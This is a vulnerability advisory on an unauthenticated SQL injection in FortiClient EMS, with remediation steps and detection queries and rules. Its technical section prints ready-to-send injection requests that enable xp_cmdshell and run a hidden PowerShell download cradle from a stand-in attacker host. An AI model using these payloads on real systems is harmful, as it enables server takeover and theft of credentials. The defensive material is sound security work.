CVE-2026-21643: Fortinet FortiClient EMS Unauthenticated SQL Injection

Background

Fortinet FortiClient Endpoint Management Server (EMS) is a centralised platform that deploys, configures, and enforces endpoint security policies across an organisation’s fleet of FortiClient-protected endpoints. It manages VPN certificates, web filtering policies, application firewall rules, and vulnerability scanning for all enrolled devices. In enterprise environments, FortiClient EMS is a high-value target: a single compromised EMS server gives an attacker policy-level control over every endpoint it manages.

CVE-2026-21643 is an unauthenticated SQL injection vulnerability in FortiClient EMS’s web management interface. The flaw allows a remote attacker with no credentials to inject arbitrary SQL into queries processed by the EMS server, ultimately leading to operating system command execution under the service account running the EMS process. CISA added CVE-2026-21643 to the Known Exploited Vulnerabilities catalogue in April 2026 with a federal remediation deadline of 16 April 2026, indicating confirmed active exploitation at the time of addition. Ten distinct threat clusters have been attributed to exploitation activity.

Technical Mechanism

FortiClient EMS exposes a web API that accepts requests from enrolled endpoints and administrators. The vulnerability lies in how the EMS server processes certain API parameters: user-supplied string values are interpolated into SQL query strings without sanitisation, allowing an attacker to break out of the intended query context and inject arbitrary SQL.

The affected code path is reachable without authentication — the vulnerable endpoint does not require a valid session token or credentials before processing the injected parameter. The underlying database is Microsoft SQL Server, which supports xp_cmdshell, a stored procedure that executes operating system commands in the context of the SQL Server service account.

The exploitation chain:

1. Attacker sends a crafted HTTP request to the FortiClient EMS web API containing SQL injection payload in a vulnerable parameter
2. The payload enables xp_cmdshell if disabled: ; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; --
3. Subsequent request executes an OS command via xp_cmdshell — typically downloading and executing a remote access tool or establishing a reverse shell
4. Code executes under the SQL Server service account, which on default EMS installations runs with SYSTEM or high-privilege local account rights
5. Attacker obtains full control of the EMS server and can modify endpoint policies for all enrolled FortiClient instances

The vulnerability requires no special conditions — an unauthenticated attacker with network access to the EMS web interface (default TCP/443 or TCP/8013) can fully compromise the server.

# Phase 1: Enable xp_cmdshell via SQL injection in a vulnerable EMS API parameter
POST /forticlient/api/v1/registration/check HTTP/1.1
Host: ems.target.example.com
Content-Type: application/json

{
  "uid": "FCTEMS0000000001",
  "hostname": "workstation01'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; --"
}

# Phase 2: Execute OS command via xp_cmdshell
POST /forticlient/api/v1/registration/check HTTP/1.1
Host: ems.target.example.com
Content-Type: application/json

{
  "uid": "FCTEMS0000000001",
  "hostname": "workstation01'; EXEC xp_cmdshell 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"IEX (New-Object Net.WebClient).DownloadString(''http://attacker.example.com/shell.ps1'')\"'; --"
}

The injected SQL breaks out of the string literal context with a single quote, then chains sp_configure calls to enable xp_cmdshell, then invokes it with an OS command. The trailing -- comments out the remainder of the original query.

Real-World Exploitation Evidence

CISA’s April 2026 KEV addition with a five-day remediation deadline confirms active, widespread exploitation at the time of disclosure. Threat intelligence from multiple vendors documents ten distinct threat clusters actively exploiting CVE-2026-21643 since at least March 2026.

Observed post-exploitation activity across attributed incidents includes:

• Deployment of persistent web shells on the EMS server’s web root
• Harvesting of all enrolled endpoint credentials, VPN certificate private keys, and configuration data stored in the EMS database
• Modification of FortiClient policies to disable host-based firewall rules and endpoint detection on enrolled devices, creating a lateral movement path across the managed fleet
• Use of compromised EMS infrastructure as a pivot point into corporate networks via the existing FortiClient VPN architecture

The vulnerability’s critical severity (CVSS 9.8) and unauthenticated nature make it well-suited for automated exploitation at scale. Internet-facing EMS installations — particularly those exposed on default management ports — have been the primary targets.

Impact Assessment

• Full EMS server compromise — unauthenticated RCE gives attackers complete control over the FortiClient EMS host, including all configuration data, endpoint inventory, and management credentials stored on the server
• Endpoint policy manipulation — an attacker can push policy changes to all enrolled FortiClient endpoints, disabling security controls fleet-wide without touching individual machines
• Credential and certificate theft — EMS stores VPN certificates, service account credentials, and endpoint authentication material; all of this is accessible to an attacker with SQL access to the EMS database
• Network-wide lateral movement — compromised EMS VPN infrastructure enables attacker access to any network segment reachable via the FortiClient VPN
• Supply chain risk — organisations using EMS to manage third-party or contractor endpoints may expose those third parties to attacker-controlled policy changes
• Regulatory and compliance impact — exposure of endpoint configuration data and credentials constitutes a reportable breach under GDPR, NIS2, and sector-specific regulations

Affected Versions

FortiClient EMS 6.4.x has reached end of support. Installations on 6.4.x must upgrade to a supported major version.

Remediation Steps

1. Update immediately — upgrade FortiClient EMS to 7.4.1, 7.2.7, or 7.0.14 per your current branch; refer to Fortinet advisory FG-IR-26-015 for upgrade procedures

   # Windows: verify current FortiClient EMS version before upgrade
   Get-ItemProperty "HKLM:\SOFTWARE\Fortinet\FortiClientEMS" -Name "Version" -ErrorAction SilentlyContinue
   
   # After upgrade, confirm version via EMS CLI or Windows Programs list
   Get-WmiObject -Class Win32_Product -Filter "Name LIKE '%FortiClient EMS%'" | Select-Object Name, Version
   # Expected: Version 7.4.1, 7.2.7, or 7.0.14 (or later patch)

2. Restrict network access to EMS management interface — place FortiClient EMS behind a VPN or restrict TCP/443 and TCP/8013 access to known management networks using firewall ACLs; the EMS management interface should not be directly internet-facing

   # Windows Firewall: restrict EMS management ports to trusted management subnets
   New-NetFirewallRule -DisplayName "EMS Mgmt - Allow Corp" -Direction Inbound `
     -Protocol TCP -LocalPort 443,8013 -RemoteAddress "10.0.0.0/8","172.16.0.0/12","192.168.0.0/16" `
     -Action Allow -Profile Any
   
   New-NetFirewallRule -DisplayName "EMS Mgmt - Block External" -Direction Inbound `
     -Protocol TCP -LocalPort 443,8013 -Action Block -Profile Any

3. Audit EMS service account privileges — check whether the SQL Server service account running under EMS has SYSTEM rights; downgrade to a least-privilege local service account if possible, and ensure xp_cmdshell is disabled at the SQL Server level

   -- Disable xp_cmdshell at the SQL Server level as a defence-in-depth measure
   EXEC sp_configure 'show advanced options', 1;
   RECONFIGURE;
   EXEC sp_configure 'xp_cmdshell', 0;
   RECONFIGURE;
   
   -- Verify xp_cmdshell is disabled
   SELECT name, value, value_in_use
   FROM sys.configurations
   WHERE name = 'xp_cmdshell';
   -- value_in_use should be 0

4. Rotate all credentials stored in EMS — after patching, rotate all VPN certificates, service account passwords, and API tokens stored in or accessible from the EMS database; assume they are compromised if the server was internet-facing before patching

5. Check for persistence — inspect the EMS web root and IIS directories for unexpected files (web shells, modified DLLs, scheduled tasks created under the SQL Server service account); check Windows event logs for xp_cmdshell invocations prior to patching

6. Audit endpoint policy changes — review FortiClient policy change history in EMS logs for unauthorised modifications to endpoint security configurations, particularly rule changes that disable firewall or AV components

7. Review enrolled endpoint logs — endpoints that received policy changes during the exploitation window should be treated as potentially compromised; conduct endpoint forensics on high-value machines

Detection Guidance

Look for the following indicators of exploitation in web server logs, SQL Server logs, and endpoint telemetry:

• IIS or web server access logs showing requests to EMS API endpoints with abnormally long or SQL-metacharacter-containing parameter values (;, --, xp_cmdshell, sp_configure, RECONFIGURE)
• SQL Server error log entries showing xp_cmdshell invocations or sp_configure calls for show advanced options or xp_cmdshell originating from the EMS application database user
• Windows Security Event Log entries for process creation (Event ID 4688) under the SQL Server service account — particularly cmd.exe, powershell.exe, certutil.exe, or bitsadmin.exe as child processes of sqlservr.exe
• Unexpected files in EMS web directories (C:\Program Files\Fortinet\FortiClientEMS\www\ or similar) with .aspx, .php, or .jsp extensions
• Outbound network connections from the EMS server to external IP addresses on non-standard ports, particularly established by sqlservr.exe or cmd.exe
• FortiClient EMS audit logs showing bulk policy modifications outside of change management windows

index=windows source="WinEventLog:Security" EventCode=4688
  (ParentProcessName="*sqlservr.exe*")
  (NewProcessName IN ("*cmd.exe*","*powershell.exe*","*certutil.exe*","*bitsadmin.exe*","*wscript.exe*","*cscript.exe*"))
| stats count min(_time) as first_seen max(_time) as last_seen by ComputerName ParentProcessName NewProcessName CommandLine
| sort - count

index=iis OR index=web sourcetype=iis OR sourcetype=access_combined
  cs_uri_stem="/forticlient/api/v1/registration/*"
  (cs_uri_query="*xp_cmdshell*" OR cs_uri_query="*sp_configure*" OR request_body="*xp_cmdshell*" OR request_body="*sp_configure*" OR request_body="*RECONFIGURE*" OR request_body="*'; *--*")
| stats count min(_time) as first_seen max(_time) as last_seen by src_ip cs_uri_stem
| sort - count

alert http any any -> $EMS_SERVERS [443,8013] (msg:"CVE-2026-21643 FortiClient EMS SQL Injection xp_cmdshell Enable"; flow:established,to_server; content:"POST"; http_method; content:"/forticlient/api/"; http_uri; content:"xp_cmdshell"; http_client_body; nocase; sid:9002164; rev:1;)
alert http any any -> $EMS_SERVERS [443,8013] (msg:"CVE-2026-21643 FortiClient EMS SQL Injection sp_configure"; flow:established,to_server; content:"POST"; http_method; content:"/forticlient/api/"; http_uri; content:"sp_configure"; http_client_body; nocase; sid:9002165; rev:1;)
alert http any any -> $EMS_SERVERS [443,8013] (msg:"CVE-2026-21643 FortiClient EMS SQL Injection Comment Terminator"; flow:established,to_server; content:"POST"; http_method; content:"/forticlient/api/"; http_uri; pcre:"/['\x22];[^'\"]*--/i"; http_client_body; sid:9002166; rev:1;)

Timeline

References

• NVD — CVE-2026-21643
• CISA KEV — CVE-2026-21643
• Fortinet PSIRT Advisory — CVE-2026-21643